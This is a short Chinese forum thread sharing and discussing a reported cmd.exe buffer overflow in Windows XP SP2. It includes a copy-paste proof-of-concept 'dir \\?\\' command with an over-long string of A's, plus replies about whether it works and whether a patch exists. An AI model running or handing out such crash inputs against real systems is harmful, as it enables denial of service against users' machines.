真正的dir溢出
刚在CN.Tink那里看到的,哈哈,挺好玩的!
我试了下,截图如下:
Windows Command Processor CMD.EXE Buffer Overflow
Execute the following line in cmd.exe (copy-paste)..
tested on winxp sp2 (fully patched) on 2006/10/06/17.56
(it is a single command, has been split into multiple lines for readability sake).%COMSPEC% /K "dir \\?\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
直接输入dir \\?\AAA(超过260个A)也会引发错误
来自国外一个站,原文:http://www.infogreg.com/security/misc/windows-command-processor-cmd.exe-buffer-overflow.html
没打补丁看的见这个效果!我的电脑看不到!
我靠。。。铞。。。 :!:
貌似\\?\就是告诉shell放弃文件名检查。。。。
直接输入dir \\?\AAA(超过260个A)也会引发错误
那这个DIR溢出有补丁吗?
是哪个呀?微软上面找不到呀… :cry:
好像没有。